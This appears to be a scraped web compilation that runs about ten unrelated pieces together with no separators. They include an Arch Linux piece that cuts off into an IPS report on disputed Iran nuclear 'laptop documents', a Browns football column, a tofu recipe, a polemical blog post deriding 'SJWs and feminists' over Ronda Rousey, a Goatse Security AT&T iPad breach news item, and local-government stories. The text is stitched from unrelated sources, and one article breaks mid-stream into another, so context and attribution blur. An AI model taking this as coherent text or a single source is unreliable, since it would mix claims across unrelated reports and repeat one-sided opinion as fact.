If you’re looking for how to repurpose your old MacBook, the Arch Wiki probably has an article for your model; if you’re looking to set up a simple, rock solid iptables configuration, the Arch Wiki has your back too; and if you’re just struggling to install a single package, there’s a Pacman Rosetta that maps commands for apt, pacman, and other package management tools in a single gigantic table.
For all the frustration and lack of one-button magical solutions in Arch’s minimal environment, its community goes to great lengths to document things thoroughly – arcane terminal commands and all.
If you’re worried about breaking changes too, the arch-announce mailing list will usually let you know when a troublesome update to a core package is on its way down or if an update requires some form of user intervention.
OMG! Arch?
Does this mean Arch is the right choice for every “power user” or everyone looking for a “fun” learning experience? Absolutely not.
Linux From Scratch and Gentoo offer their own unique challenges and learning opportunities as do a raft of alternative distributions that offer user-friendly UIs but with a different set of tools to learn – Fedora, openSUSE, and even a number of user-friendly Arch derivatives among them.
So while you’re sitting at your new Ubuntu 14.04 LTS desktop or thinking about upgrading, maybe give Arch a go on a real or virtual machine.
Arch Beginners’ Guide
But those documents have long been regarded with great suspicion by US and foreign analysts. German officials have identified the source of the laptop documents in November 2004 as the Mujahideen e Khalq (MEK), which along with its political arm, the National Council of Resistance in Iran (NCRI), is listed by the US State Department as a terrorist organization.
There are some indications, moreover, that the MEK obtained the documents not from an Iranian source but from Israel’s Mossad.
In its latest report on Iran, circulated Feb. 22, the IAEA, under strong pressure from the Bush administration, included descriptions of plans for a facility to produce "green salt," technical specifications for high explosives testing and the schematic layout of a missile reentry vehicle that appears capable of holding a nuclear weapon. Iran has been asked to provide full explanations for these alleged activities.
Tehran has denounced the documents on which the charges are based as fabrications provided by the MEK, and has demanded copies of the documents to analyze, but the United States had refused to do so.
The Iranian assertion is supported by statements by German officials. A few days after then-Secretary of State Colin Powell announced the laptop documents, Karsten Voight, the coordinator for German-American relations in the German Foreign Ministry, was reported by the Wall Street Journal Nov. 22, 2004 as saying that the information had been provided by "an Iranian dissident group."
A German official familiar with the issue confirmed to this writer that the NCRI had been the source of the laptop documents. "I can assure you that the documents came from the Iranian resistance organization.," the source said.
The Germans have been deeply involved in intelligence collection and analysis regarding the Iranian nuclear program. According to a story by Washington Post reporter Dafna Linzer soon after the laptop documents were first mentioned publicly by Powell in late 2004, US officials said they had been stolen from an Iranian whom German intelligence had been trying to recruit, and had been given to intelligence officials of an unnamed country in Turkey.
The German account of the origins of the laptop documents contradicts the insistence by unnamed US intelligence officials who insisted to journalists William J. Broad and David Sanger in November 2005 that the laptop documents did not come from any Iranian resistance groups.
Despite the fact that it was listed as a terrorist organization., the MEK was a favorite of neoconservatives in the Pentagon, who were proposing in 2003-2004 to use it as part of a policy to destabilize Iran. The United States is known to have used intelligence from the MEK on Iranian military questions for years. It was considered a credible source of intelligence on the Iranian nuclear program. after 2002, mainly because of its identification of the facility in Natanz as a nuclear site.
The German source said he did not know whether the documents were authentic or not. However, CIA analysts, and European and IAEA officials who were given access to the laptop documents in 2005 were very skeptical about their authenticity.
The Guardian‘s Julian Borger last February quoted an IAEA official as saying there is "doubt over the provenance of the computer."
A senior European diplomat who had examined the documents was quoted by the New York Times in November 2005 as saying, "I can fabricate that data. It looks beautiful, but is open to doubt."
Scott Ritter, the former US military intelligence officer who was chief United Nations weapons inspector in Iraq from 1991 to 1998, noted in an interview that the CIA has the capability test the authenticity of laptop documents through forensic tests that would reveal when different versions of different documents were created.
The fact that the agency could not rule out the possibility of fabrication, according to Ritter, indicates that it had either chosen not to do such tests or that the tests had revealed fraud.
Despite its having been credited with the Natanz intelligence coup in 2002, the overall record of the MEK on the Iranian nuclear program has been very poor. The CIA continued to submit intelligence from the Iranian group about alleged Iranian nuclear weapons-related work to the IAEA over the next five years, without identifying the source.
But that intelligence turned out to be unreliable. A senior IAEA official told the Los Angeles Times in February 2007 that, since 2002, "pretty much all the intelligence that has come to us has proved to be wrong."
Former State Department deputy intelligence director for the Near East and South Asia Wayne White doubts that the MEK has actually had the contacts within the Iranian bureaucracy and scientific community necessary to come up with intelligence such as Natanz and the laptop documents. "I find it very hard to believe that supporters of the MEK haven’t been thoroughly rooted out of the Iranian bureaucracy," says White. "I think they are without key sources in the Iranian government."
In her February 2006 report on the laptop documents, the Post‘s Linzer said CIA analysts had originally speculated that a "third country, such as Israel, had fabricated the evidence." They eventually "discounted that theory," she wrote, without explaining why.
Since 2002, new information has emerged indicating that the MEK did not obtain the 2002 data on Natanz itself but received it from the Israeli intelligence agency Mossad. Yossi Melman and Meier Javadanfar, who co-authored a book on the Iranian nuclear program last year, write that they were told by "very senior Israeli Intelligence officials" in late 2006 that Israeli intelligence had known about Natanz for a full year before the Iranian group’s press conference. They explained that they had chosen not to reveal it to the public "because of safety concerns for the sources that provided the information."
Shahriar Ahy, an adviser to monarchist leader Reza Pahlavi, told journalist Connie Bruck that the detailed information on Natanz had not come from MEK but from "a friendly government, and it had come to more than one opposition group, not only the mujahideen."
Bruck wrote in the New Yorker on Mar. 16, 2006 that when he was asked if the "friendly government" was Israel, Ahy smiled and said, "The friendly government did not want to be the source of it, publicly. If the friendly government gives it to the US publicly, then it would be received differently. Better to come from an opposition group."
Israel has maintained a relationship with the MEK since the late 1990s, according to Bruck, including assistance to the organization. in beaming broadcasts by the NCRI from Paris into Iran. An Israeli diplomat confirmed that Israel had found the MEK "useful," Bruck reported, but the official declined to elaborate.
(Inter Press Service)
It is no secret that 2016 was an extremely rough season for the Cleveland Browns. Spending most of the season with the looming question of whether or not they would win a single game, the amount of talent present was completely overshadowed.
It seems counter-intuitive to name any player from the 2016 Browns as an “MVP” of any kind. But upon further examination at the conclusion of the tragedy which was this past season, there were several players who put forth admirable effort.
Article continues below ...
The Browns and their fans may have no desire to reflect on 2016, but doing so does provide some sort of closure. Since it is only January and the NFL playoffs are taking center stage, this is the time to look back before setting out on the long journey ahead.
In the middle of such a demoralizing season, three players especially stood out, going beyond the status quo of Browns football. Unfortunately, none will receive sufficient credit for their efforts due to the constant narrative of negativity surrounding the organization which shuts out any hint of optimism.
If nothing else, fans ought to feel sympathy towards these players who poured their hearts out for the Browns, although it didn’t work out. These three players are Cleveland’s 2016 MVPs.
Joe Thomas
Left tackle Joe Thomas is the epitome of consistency. And for the Browns over the past decade, this is something clearly absent from the roster. This makes Thomas an exception, and one whose loyalty is worth recognition following failed season after failed season.
2016 wasn’t the 32-year-old’s sharpest, as he appears to be physically worn down and past his prime. But Thomas is still a Pro Bowler, and a valuable asset to the team.
This is most evident based on the veteran’s reliability and discipline. Playing in all 16 games this season, the left tackle position occupied by Thomas was the only position on the line with any sort of stability whatsoever. Thomas also committed just four penalties all year, a remarkable feat showing just how solid of a lineman he still is.
Terrelle Pryor
Over the last decade, the Browns have been fortunate to have play-making threats at the receiver position. Unfortunately, neither Braylon Edwards nor Josh Gordon worked out in the long-term. With Terrelle Pryor‘s impressive 2016 campaign, fans can only hope the same doesn’t happen to the former quarterback.
All this aside, Pryor’s season surprised many who did not think the transition to the receiver position would work out as quickly as it did. Finishing with 1,007 receiving yards and four touchdown catches, fans are left to wonder what the 6-foot-4 receiver would do under more ideal circumstances at the quarterback position.
In fact, Pryor’s season was so productive, he has even received a degree of league-wide recognition. Named one of the top ten breakout players according to Pro Football Focus, the 27-year-old burst onto the scene this season, catching 77 passes as opposed to the one reception he recorded in 2015.
Whether or not Pryor will be a Brown for 2017 and beyond is another question. But his efforts alone as far as this past season is enough to make him one of the team’s 2016 MVPs.
Christian Kirksey
An underappreciated unit on a struggling inexperienced Cleveland defense in 2016 was the linebackers. Overshadowed by the midseason trade for Jamie Collins, rookie Emmanuel Ogbah and veteran Demario Davis put together a solid season.
But Christian Kirksey was most consistent among this group of promising linebackers. Playing in all 16 games, Kirksey was critical in the team’s late season improvement against the run. In a very difficult season in which the defense surrendered 28.2 points per game, the former Iowa Hawkeye established himself as a leader and worked toward making the most of the nightmare season.
Kirksey still leaves a little to be desired as a player, as he is not a natural pass rusher and struggled covering tight ends, but his 93 tackles this season proves he has no issue being an integral part of an NFL defense.
It isn’t necessarily easy to find members of the Browns who stood out as valuable players this past season. Still, Thomas, Pryor, and Kirksey were three players who poured everything they had into a difficult season. For this, they ought to be commended.
These crispy oil free teriyaki tofu stakes are easy to make and delicious. This recipe doesn’t use a bottle but instead makes a fresh teriyaki that tastes different (better) to the factory made bottles and naturally has no additives or preservatives. These crispy tofu stakes are so good that vegans and non-vegans alike love them. Eat on their own, in burger or as the protein part of a meal.
Crispy Tofu in Teriyaki Sauce Recipe Total time: 20m
Yield: 4 servings
Calories: 160 cal Ingredients ¼ Onion
2-3 cloves Garlic
1″ Ginger, peeled and sliced
peeled and sliced 2 tbsp Soy sauce or tamari
2 tbsp Coconut sugar
¼ tsp Turmeric
¼ tsp Cayenne pepper
1 tbsp Rice vinegar
1 tbsp Water
7oz / 200g firm Tofu
2 tbsp Sesame seeds How to make Put everything apart from tofu and sesame into a blender and blend until smooth. Cut the tofu into strips about ½ cm thick. Place tofu in a hot pan and dry fry for 2-3 mins then flip. Non-stick frying pan is best but if you’re using a pan that isn’t non-stick then keep the tofu moving or add a bit of water to stop it sticking. Pour in the teriyaki sauce and then flip a few times until the sauce is very thick. Use the tofu to mop up all the delicious teriyaki sauce in the pan as you take it out.
Crispy Tofu in Teriyaki Sauce Video Recipe
In the video you can see I’m not using a non-stick pan. While you can use a regular pan it’s much easier to use a non-stick as with a regular pan you need to keep turning and jiggling the pan around so that the tofu doesn’t stick. It’s much easier to get crispy oil free tofu in a non-stick but I’m on the road at the moment, travelling minimally so using what is available.
Tofu isn’t bland at all when you prepare it like this. It gives a great texture and is a sponge for the sweet spicy sour teriyaki sauce. You can just use some teriyaki sauce out of a jar but it will give a different flavour to this fresh teriyaki and it won’t be as healthy.
Notes
Some don’t like a sweet and sour flavour and if this is you take out the vinegar/lemon.
You can replace the rice vinegar with white vinegar or lemon juice.
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Why don’t the SJWs and feminists celebrate Ronda Rousey´s success?
I think it´s rather hard to find a bigger group of hypocrites than the SJWs and the radical feminists. I mean, how many minutes did it take before they went nuts after Nintendo´s announcement of Linkle in “Hyrule Warriors Legends”? Not all that many I would say, it might actually have been a new “I´m triggered/offended” world record on their behalf. Anyhow, I´m going to get to the point now. Less than two days ago it became officially known that Ronda Rousey will be on the front cover of EA Sports “UFC 2” (yes, I am aware of the fact that Rousey got knocked out by Holly Holm in UFC 193 yesterday. Even so, Rousey still deserves to be on the front cover of “UFC 2”, due to her past achievements).
So, why are the feminists and SJWs so quiet about it? (at least I have seen zero to none happy chants from their part) I mean, shouldn´t they celebrate this fact and spread the news all over the world? Well, there is actually more than one reason behind why they’re not happy for Ronda Rousey´s success, and her being on the front cover of “UFC 2”. And some of those reason would be the following:
1. Rousey is a strong and independent woman who doesn´t need feminism in her life. She’s her own boss.
2. It´s no secret that Rousey has called out the feminists on their bullshit more than one time in the past (Ronda Rousey Vs Feminist Bullshit compilation).
3. Rousey isn’t a spokesperson for feminism.
4. Groups and feminists collectives such as Feminist Frequency finds Rousey to be “problematic” (it´s because Rousey won´t become their “do as your being told” person).
5. Ronda Rousey has done quite a few swimsuit and bikini photo shots for magazines such as “Sports Illustrated”. Simply put, Rousey doesn´t fit their narrative all that well.
6. In the eyes of the SJWs UFC is full of “toxic masculinity” and it´s only men who love to watch violent sports (female UFC athlete´s = Misogyny).
So what does Ronda Rousey herself think about the fact that she´s on the front cover of “UFC 2”? Well, this is what Rousey had to say on the matter just recently:
“It’s the first time a female athlete’s been the lead cover athlete for an EA SPORTS title,”
“EA Sports is a cultural barometer to know what’s going on in sports at the moment,” “As a gamer myself, it’s pretty surreal to be on the cover of the game and to have a woman on the cover of a UFC game shows a lot of progress. I’m really happy to be involved with it.” – Ronda Rousey
UFC 1 Vs UFC 2 Vs the fans, round 1 fight!
So what about the actual game itself then? Well, the UFC 2 trailers look really good, in my opinion. And it “seems” like EA Sports has paid close attention to what the players, and the fans thought of UFC 1 (which launched in June 2014). Well, at least if you choose to believe in EA Sports UFC senior producer Brian Hayes, who told the following to Gamespot and MMA Fighting just recently:
“The game being really, really, really, ridiculously good-looking is important to us, and the team is always working to find ways to outdo themselves,” “That includes updates to the in-game lighting, the facial animation system and lots of new physics and rendering details. It all comes together in the in-fight replays, where you can really see the fighter flinch a moment before a huge strike lands, sending ripples across their face, and how their hair whips around with the force of the blow.”
“Like any champion fighter going into their next fight, we listened to our corner – in our case, the fans – and took a detailed look at everything we can do to take the fight game to a whole new level,”
“We’re doing that by introducing innovative gameplay features, delivering a game mode for every fighter regardless of their style of play, and adding helpful tools so fans can master MMA, all while producing the jaw-dropping visuals that fans expect.” – EA Sports UFC senior producer Brian Hayes, via GameSpot.
“I don’t want to jinx ourselves, so I’m knocking on wood right now. But it has been a far different development experience working on UFC 2 than it was working on UFC 1,”
“The combination of, it was a new license for EA Sports, it was two new consoles for the development team, and it was a development team put together from a few different [groups] — there was a fair amount of growing pains. “A large part of UFC 1 was really building that foundation. We’ve done all the remodeling and additions to the game for UFC 2.” – EA Sports UFC senior producer Brian Hayes, via MMA Fighting
Those are some really nice words by EA Sports Brian Hayes for sure. However, only time will tell if “UFC 2” will rock or suck on release. And we will know for sure next Spring.
With that said, what do you guys think about “UFC 2” so far? And what are your thoughts of the lack of cheers from the SJW and feminist camp? Let us know your thoughts in the comment section down below! (keep in mind that they didn´t exactly cheer for Linkle, nor the female players in EA Sports Fifa 16).
Source:
mmafighting
easports
Gamespot
***Disclaimer***
This is a personal opinion of the writer, and it doesn’t necessarily represent the other writers (nor The Gaming Ground´s) opinions.
Robin “V-Act” Ek
The Gaming Ground
Twitter: @TheGamingGround
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Tags: EA sports, Fighting, Ronda Rousey, SJWs, UFC, UFC 2
EON Sports (Photo: EON SPORTS)
OXFORD -- Ole Miss graduate assistant Robert Ratliff has been charged with a unique task the last few weeks.
The former Ole Miss quarterback, with the help of a few others, has been combing through all of the Rebels' offensive plays and programming them into a virtual reality system, which in turn will be used to train, grade and test the team's quarterbacks this summer.
Yes, virtual reality – just as you'd picture it: the big, bulky goggles and everything.
The Rebels will be one of a handful of Division-I programs currently using the technology.
Ole Miss signed with EON Sports, makers of the SIDEKIQ simulator football software, this May, joining UCLA, Syracuse and Kansas as its only other Division-I users.
"If you're watching film, you can rewind it a few times, think, then say, 'Yeah, I think I throw it to the X there,'" Ole Miss offensive coordinator and quarterbacks coach Dan Werner said. "Now, our quarterbacks have to make that decision like he's on the field whenever we want."
The simulator allows Ole Miss to not only program in its own plays, but input opposing teams' defenses into the virtual reality software.
It can simulate specific coverages and various stunts and blitzes, which Werner hopes improves decision making and knowledge of his offense.
"For all intents and purposes, it's a Madden game that's customizable. Say you're playing LSU, you can put their exact defense in there," said Brendan Reilly, CEO of EON Sports VR. "It's basically like the (offensive coordinator) is in the game with his player, getting to watch exactly what he's thinking.
"He can see on the screen what's happening with the play and where his quarterback is looking."
Standing, the quarterback watches the play develop, goes throw his progressions, eyes his target, then decides when and where to throw.
In Ole Miss' case, throwing means pressing a button on an Xbox controller.
"I've tried it," Werner said. "It really is like you're getting the ball and running a play."
Werner said he got an email from a friend this spring with a link to EON Sports' website.
He checked it out, watched a few videos and was in.
EON SPORTS (Photo: EON SPORTS)
The Rebels had one of the company's more basic systems recently installed, which Reilly estimates costs anywhere between $2,000 to $10,000.
The more elegant systems can cost as much as $35,000.
Reilly sold his first product in February 2014.
"In the old days, you'd give an actual written test," Werner said. "I hope they know the plays by now. I want to know that they can go through the progressions and make decisions.
"I think it'll help us a lot, give us an edge."
But what has Werner so excited about the new technology is the fact that coaches are allowed to spent a very limited amount of time with players during the summer.
NCAA rules give on-field coaches eight hours per week during the summer to interact with players, with up to two of those hours available for "football-related meetings or film review" — or virtual reality time for Ole Miss.
"Our guys are basically getting practice reps with this," Werner said. "He knows he has to read a free safety on one play, and if he rolls down, you hope his eyes go over here.
"If we do this 30 times throughout the summer, it's like our quarterbacks almost get 30 extra practices. The kids can do it on their own, too."
With Ole Miss' quarterback competition still ongoing between sophomores Ryan Buchanan and DeVante Kincade and juco transfer Chad Kelly, Werner spent spring practice charting each of their throws.
He'll also chart their virtual reality work this summer.
"We're going to test them on it, grade 'em," Werner said. "We'll know who's making the right reads and who's not instantaneously."
Contact Riley Blevins at rblevins@jackson.gannett.com. Follow @Riley_Blevins on Twitter.
Meanwhile, the FBI has launched an official investigation of a caper in which the perpetrators — greyhat researchers calling themselves Goatse Security – freely claim responsibility for the attack.
“We believe what we did was ethical,” Goatse member Escher Auernheimer told PC World’s Greg Keizer in a telephone interview. “What we did was right.”
Auerheimer notes that Goatse waited until AT&T had closed the hole before outing the e-mail addresses it had grabbed. This, he contends, amounts to “responsible disclosure.”
Going public with the discovery of a fresh security hole is one thing. But actually taking advantage of the vulnerability to steal data is another. Pierce the privacy of high-powered, well-connected iPad users, and you wake the sleeping giant: the FBI.
“The disclosure was completely irresponsible,” says Sean Sullivan, Security Advisor, at antiviurus company F-Secure. “There is no reason why the Goatse Security group needed to harvest data. They only did it to sensationalize the issue and they are guilty of violating personal privacy.”
Celebrity quotient
Goatse researchers claim to have extracted 114,000 e-mail addresses, including many high profile celebrities, athletes and politicos, New York City Mayor Michael Bloomberg, White House Chief of Staff Rahm Emanuel, and movie producer Harvey Weinstein, among them.
They did this by tricking AT&T’s servers into divulging the correct unique identifier for the iPad and associated e-mail addresses. The incident, no doubt, has worsened the already strained relationship between AT&T and Apple, says Rick Munarriz, senior analyst at The Motley Fool. iPhone and iPad users have complained about dropped calls, poor signals and expensive usage rates, notes Munarriz.
Jon Heimerl, Director of Strategic Security at Solutionary, a data security consulting company, believes AT&T is largely at fault for this latest stumble. “In no way is this an ‘iPad breach,’ ” says Heimerl. ” This was someone grabbing information off of an AT&T server that was accidentally left exposed to the Internet.”
Hemanshu Nigam, founder of security consultancy SSP Blue, says Apple bears the largest share of culpabibility since it set the authentication requirements ATT was required to follow.
“This is exactly where the flaw existed,” says Nigam, former security chief at MySpace. “Apple needs to start putting user security ahead of user convenience. The hacker community is obviously gearing up to dethrone the king and this is just another warning shot.”
More iPad attacks likely
Heimerl and Nigam do agree on this point: wider use of iPads, especially among movers and shakers, portends intensified hacks — by professional cybercriminals, not just security researchers looking to grab headlines.
“The iPad is a new product, and as such likely has unintended (security weaknesses) built in.” says Heimerl. “Odds are that someone will find something to hack in the device operating system, or in one of the primary applications that the iPad runs, like the Safari browser.”
Although email addresses in and of themselves may seem low value, “knowing these addresses opens them up to a large number of spammers and would-be social engineers that will now be checking every login field on the internet for accounts belonging to them,” says Jason Haddix, Security Engineer at Redspin.
Sam Diaz, senior editor at ZDNet, calls out Mayor Bloomberg and Chief of Staff Emanuel, for owning iPads in the first place.
” What I would really want to know – given the volume of government officials whose official work e-mail addresses were found . . . is exactly who paid for all of these iPads that are reportedly in the hands of so many people in Washington, Diaz writes in this post. “Last time I checked, the iPad was a pretty expensive device, especially for government agencies that probably have better uses for government dollars other than to buy iPads.”
iPad best security practices
In wake of the breach, Rescuecom CEO David A. Milman suggests these precautions for iPad users:
Turn off the 3G Network. AT&T has stated that there is no more threat to customers. However, turning off 3G wireless Internet service, at least temporarily, will protect an individual’s personal data from any further attack.
AT&T has stated that there is no more threat to customers. However, turning off 3G wireless Internet service, at least temporarily, will protect an individual’s personal data from any further attack. Request a new SIM from AT&T. The ICC-ID number that the hackers breached is attached to each user’s SIM, the card linking an individual iPad to its user. Changing the SIM card would change the ICC-ID as well, rendering that information useless.
The ICC-ID number that the hackers breached is attached to each user’s SIM, the card linking an individual iPad to its user. Changing the SIM card would change the ICC-ID as well, rendering that information useless. Change your iPad e-mail address. The simplest solution is to stop using the compromised e-mail address. AT&T states the only information illicitly obtained was user’s e-mail addresses. Changing your address would eliminate this threat.
The simplest solution is to stop using the compromised e-mail address. AT&T states the only information illicitly obtained was user’s e-mail addresses. Changing your address would eliminate this threat. Limit iPad usage. Using the iPad is, most likely, still safe. However, to best protect personal data, users should be careful what they use the iPad for. Avoid tasks such as mobile banking or anything that transmits personal information, especially when on a 3G network.
For those consumers who have not yet purchased an iPad, but were considering it, Milman recommends waiting at least six months for the manufacturer to work the major bugs out of the system.
“While most everyone is aware that security is important, very few of us understand what goes into securing the software, hardware, and networks that contain our most valuable asset, our identity,” says Milman. “AT&T’s breach is a perfect example of how at risk we are.”
By Byron Acohido
Florida State sophomore running back Dalvin Cook has a motion hearing for his misdemeanor battery case set for Wednesday at 10:30 a.m.
Cook’s legal counsel filed a demand for a speedy trial in Leon County last Thursday.
His attorney, Ricky Patel, told TomahawkNation.com Monday that a new witness has come forward to refute claims made by another witness and details of the victim’s 911 call after the incident occurred.
Cook was charged with misdemeanor battery after allegedly hitting a woman outside a Tallahassee bar on June 23. He turned himself into Leon County Jail on July 10, and was indefinitely suspended from the football team.
A federal judge has ruled that Quartzsite officials violated the free-speech rights of 10 Police Department employees who were fired after they publicly accused former Chief Jeffrey Gilbert of misconduct.
U.S. District Judge Mark Aspey said in a 60-page ruling issued last week that Gilbert, former Town Manager Alex Taft and former Assistant Manager Albert Johnson are personally liable for damages, along with the municipality.
“Truth for the most part has finally come out,” said William Ponce, one of the plaintiffs and a former sergeant on the police force. “We finally get some kind of vindication.”
Gilbert, Taft and Johnson no longer work for Quartzsite. Neither they nor their lawyers could be reached for comment Wednesday.
The lawsuit stems from small-town political turmoil that has enveloped Quartzsite for years.
In 2011, police officers filed complaints against Gilbert with the Town Council, the state Department of Public Safety and the Arizona Peace Officer Standards and Training Board, the state’s law-enforcement certification agency.
Among other things, the employees alleged that Gilbert unlawfully used national crime computers to investigate political foes and violated the civil rights of dissidents by making arrests without probable cause.
They also alleged that Gilbert failed to document vacation and leave time. The letter to the standards and training board said officers had taken a vote of no confidence in the chief.
The DPS investigated only some allegations and did so in a cursory manner that resulted in no referrals for criminal conduct, according to Aspey’s ruling. The standards and training board initially refused to investigate, but recently announced that an inquiry is pending with regard to Gilbert.
Quartzsite’s municipal conflict was so divisive that, at public meetings, supporters of Gilbert and the Town Council majority wore blue shirts while the opposition donned red shirts.
Members of the political- minority group have said they were arrested on false charges at Gilbert’s direction. Prosecutors threw out all charges against them and publicly decried the abuse of police authority in Quartzsite.
After an internal investigation, however, two town administrators concluded that police employees made false accusations against the chief, thereby discrediting the community and disrupting police services.
Nine officers and a civilian employee were terminated.
Aspey’s ruling says Gilbert falsely asserted that he had been cleared by the DPS inquiry. The judge concluded that Gilbert sought to intimidate the employees and threatened them with dismissal for exercising their First Amendment rights.
Aspey found that the two town administrators carried out Gilbert’s threats as retaliation. And, to the extent that any disruption occurred, Aspey wrote, “It appears that the chief’s behavior, including his response to plaintiffs’ protected free speech, caused the breakdown.”
A hearing date has not been set to consider damages. Meanwhile, two additional counts in the lawsuit are pending.
Laura Bruno, Quartzsite’s current town manager, said she has not had an opportunity to evaluate the ruling or speak with attorneys about a possible appeal.
Ponce said the legal victory for him and other police employees is “bittersweet” because “our names and our careers have been tainted, and it’s never going to be the same.”
Accessibility and accountability are the main priorities for newly elected Birmingham City Councilor Darrell O’Quinn.
In a close runoff election, O’Quinn unseated current District 5 Councilor Johnathan Austin, who also has been council president. After taking office Oct. 24, O’Quinn plans to immediately start working on ways to engage and educate communities on the resources municipal government can provide, he said.
O’Quinn is part of a wave of new leadership headed to City Hall after the Oct. 3 runoff election. Also part of that crew is Mayor-elect Randall Woodfin and new councilors Hunter Williams, from District 2, and John Hilliard, from District 9. Despite his neophyte status in city government, O’Quinn has been heavily involved in Birmingham on the community level since moving to the city in 2001. Most notably, he currently serves as president of both the Citizens Advisory Board and the Crestwood North Neighborhood Association.
That experience has allowed him to see where communities and neighborhoods have been underserved by Birmingham’s city government, he said.
“I’m sorry to say that the bar has been so low that for me to step in and make a significant difference is pretty damn easy,” O’Quinn said.
Recently, O’Quinn spoke to BirminghamWatch about his early priorities as councilor, his plans to address Birmingham’s economic stagnation and his expectations from the new power dynamic at City Hall.
BirminghamWatch: You’re slated to be sworn in Oct. 24. What’s the issue you’re hoping to start working on as soon as you get into office?
Darrell O’Quinn: Probably the core focus for me is using the influence of the council office to do community organizing at a very basic level. I think that there are a lot of easily accessible resources that most of my constituents had no idea existed, things that people (invested in city government) see and talk about all the time but that a large portion of our population has no idea exists.
Things like the land bank authority. (The authority has the power to acquire properties on which taxes have not been paid and either redevelop the land or grant it to interested residents.) When we were going around knocking on doors, we met people who were prime candidates to participate and had no idea. I remember going to a lady’s house in Wauhoma, and she had been taking care of the vacant lot next door to her house for several years, keeping the grass cut and everything. She was talking about how she was interested in acquiring the property … . I mentioned the land bank authority, and she was like, “I don’t know anything about that.” … So I feel like there’s some very, very low-hanging fruit that we can accomplish just by simply going out into the community and educating people about things like that.
Another resource that I have found useful over the years as a neighborhood officer is the city of Birmingham’s GIS (Geographic Information System) mapping website. I feel like every neighborhood officer in the city of Birmingham should have an in-depth training course on how to use the GIS mapping system, because there’s just so much information on there about zoning for schools, where the voting precincts are. You can go down to the level of identifying where the fire hydrants are in your neighborhood, or water mains. There’s just so much good information that people can put together and utilize without ever having to go through the trouble of calling somebody at city hall and asking for that information. They can just go and get it themselves.
Those are the types of things that I’m focused on going and doing immediately. But then, going beyond that, using the influence of the City Council office to actually talk to the various stakeholders in each of the communities throughout District 5 — nonprofit organizations, business owners, other institutions along with the residents — identifying those people, inviting them to come together to do a SWOT (strengths, weaknesses, opportunities and threats) analysis, identifying what assets are in the community, what the weaknesses are, and identifying how to put all of those things together in a coherent and cohesive way, and get everybody focused on a unified goal.
Every neighborhood that I’ve ever been in, regardless of whether or not it’s in my district, there are residents in every one of those neighborhoods who care deeply about where they live and are willing to put in sweat equity into improving their communities. The things that’s often held them back is some sort of critical mass of leadership getting those folks organized and connected to the resources that they need to actually be effective.
BirminghamWatch: Prioritizing community organizing on that level seems closely tied to your history of civic experience, particularly as president of both the Citizens Advisory Board and the Crestwood North Neighborhood Association. During your time in those positions, what issues have you seen on the neighborhood level that have gone unaddressed by the city?
O’Quinn: One thing that really opened my eyes — and I know that there are a lot of folks out there who don’t like the fact that a lot of neighborhood officers go to the Neighborhoods USA Conference every year — but I’ve been three years in a row, and I can remember the first time that I went there, going to these workshops and seeing city government representatives from all of these cities across the nation that were actually trying to deliver programs to the neighborhoods in their city. I was really impressed by that.
The way things have typically worked with neighborhood associations in the city of Birmingham is that neighborhood associations get a little bit of funding from the city budget each year, and most neighborhoods have a small pot of funds that they can utilize for short-term projects. They’re often used for annual get-to-know-your-neighbor days and that type of thing. But there’s been very little coming from city hall to the neighborhood associations to say, “Here is something that you can do with those funds that has been demonstrated to have significantly beneficial impact in other places.” Neighborhood associations here are largely operating on their own.
My experience has been that my neighborhood, Crestwood North, our neighborhood association has been effective and thrived because we have people like myself who are well-educated, energetic, creative and committed to making a difference, but that is the exception for most Birmingham neighborhoods. In a lot of neighborhoods, the leadership have been around for a long time. They’re not tied into internet resources. A lot of them don’t even use email, and they may not have a lot of residents that participate in meetings. They don’t have good means of communicating with the rest of the residents in their neighborhood, so it’s very difficult for them to be effective without some significant amount of help — and that help has just not been present.
That’s a need I want to utilize the authority of the council office to fulfill. It’s not an official responsibility as outlined by the Mayor-Council Act, but it’s an opportunity where I can go into each of the communities throughout my district and have a real impact. And I’m sorry to say that the bar has been so low that for me to step in and make a significant difference is pretty damn easy.
BirminghamWatch: One major issue you brought up in your campaign was improving the city government’s transparency. How do you hope to accomplish that?
O’Quinn: Part of it is just going to be me being accessible to people. It may take me a while to figure that out, but at the very rudimentary level, it’s about me picking up the phone when people call. That’s not going to be possible, of course, for every single person who wants to give me a call, but I’m very much committed to being accessible: showing up to community meetings and neighborhood meetings and speaking with people face-to-face and telling them firsthand what’s going on.
There are ways through technology to also be more transparent. During the election, I applauded Mayor Bell for creating the open data portal on the city of Birmingham website. Even though it leaves a lot to be desired in terms of the information that’s there, it’s a step in the right direction. But there’s a lot more that could be done in that regard to make what’s happening, especially with finances, to make that easier to interpret for people that visit that website.
BirminghamWatch: During the campaign, you also characterized Birmingham’s slow job growth as an “existential threat for our region.” You’ve mentioned workforce training initiatives as a way city government can address this. What does that look like in practical terms?
O’Quinn: I recently had the opportunity to attend a Central Six AlabamaWorks meeting at the Alabama Workforce Training Center in Avondale. They have a training program there for advanced manufacturing. That is completely funded by industry. What they’re doing there is bringing in young folks — I believe they have some juniors and seniors that are coming in after school — and they’re training them on the basic skills that they need for certification to get entry-level positions at some of these advanced manufacturing businesses. That is a great example of what’s possible.
At a higher level, the recent study by PARCA for the Community Foundation of Greater Birmingham indicating that projected job growth for the region was not even 1 percent over the next 10, 15 years, that should be setting off alarm bells for everyone, because our regional competitor cities are doing much better than that, as illustrated in that study. I see that as an existential crisis for our metro region. I’m not just talking the city of Birmingham; I’m talking Hoover, Vestavia, Mountain Brook, Fultondale, Gardendale, all of the municipalities in the seven-county metro area.
Part of addressing that issue is creating a resource that employers are attracted to — namely, folks who are ready to go to work. That’s a complicated issue and one that’s very difficult to solve, and it involves all of our education systems. It’s something that’s probably going to take us a long time to dig ourselves out of, but certainly what the Alabama Workforce Training Center and Central Six are doing are important and significant steps in the right direction.
BirminghamWatch: Small businesses are also essential to a city’s economic growth. How do you plan to make Birmingham more amenable to them?
O’Quinn: Small business is probably one of the sectors where we have the most opportunity for growth. I’m talking companies of 10 employees or less, mom-and-pop operations where they don’t necessarily need a tremendous amount of incentive in order to get started, but they do need access to some resources to get their business idea off the ground.
We often see large corporations that bring in hundreds of jobs get big tax breaks and that sort of thing. But I think that the small business sector actually has the capacity to grow jobs a lot faster than the effort that’s required to bring in those large employers. We’re always going to need plumbers and electricians and carpenters and folks who are essential to maintaining our neighborhoods and making our city function. There are lots of opportunities out there, and it’s just a matter of helping people realize where the opportunities are and helping them think through their business ideas and then access the resources that they need to get their business started.
